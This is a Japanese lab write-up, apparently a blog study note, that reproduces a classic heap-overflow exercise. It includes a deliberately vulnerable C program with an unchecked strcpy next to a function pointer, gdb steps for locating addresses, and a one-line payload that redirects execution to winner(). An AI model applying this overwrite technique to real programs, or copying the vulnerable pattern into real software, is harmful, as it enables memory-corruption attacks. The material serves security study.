ヒープ・オーバフロー検証

以下のサイトを参考に検証を実施した。
https://samsclass.info/127/proj/p7-heap0.htm
※ソースコードはほぼ同じ(data構造体のnameデータサイズを64から8にして検証)

■準備
・gccで32bitでコンパイルするため以下のパッケージをインストールする。
 「sudo apt-get install libc6-dev-i386」
・32bitコンパイル方法
 「gcc -m32 heap0.c -o heap0」

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
 char name[8];
};

struct fp {
 int (*fp)();
};

void winner()
{
 printf("level passed\n");
}

void nowinner()
{
 printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
 struct data *d;
 struct fp *f;

 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = nowinner;

 printf("data is at %p, fp is at %p\n", d, f);

 strcpy(d->name, argv[1]);

 f->fp();

}

■heap-overflow手順(関数ポインタを書き換え)
 ※64ビットだとうまくいかなったので32ビットで検証

1.gdbでwinner,nowinnerのアドレスを確認
 一度、runしておく。その後に「info functions」でアドレスを確認する。
 ※もしくは「disas winner」で先頭のアドレスを確認する。

2.関数ポインタが呼ばれる前の命令アドレスにBreakPointを設定する。
 「break *0x5655630f」

 「run 1111」を実行する。設定したbreakpointで停止するので以下のコマンドでheap領域のスタートアドレスを確認する。
 「info proc map」→heapと書かれたアドレス帯がheap領域(0x5655a000-0x5657c000)

3.ヒープ領域の確認
 「x/120x 0xヒープ先頭アドレス」で自分が入力した値(31313131)のどれくらい後にnowinnerのアドレス(5655625c)があるか確認する。
 ※8バイトmallocする場合は16バイトあとに関数ポインタ(nowinnerのアドレス)があった。

4.heap overflowの実行
 gdbを抜けて、以下のコマンドでオーバーフローさせ、nowinnerのアドレスをwinnerに書き換える。
 ※最後の4バイトがwinnerのアドレス
 「./heap0 $(python3 -c ‘print(“A”*16+”\x2d\x62\x55\x56”)’)」

コメントをどうぞ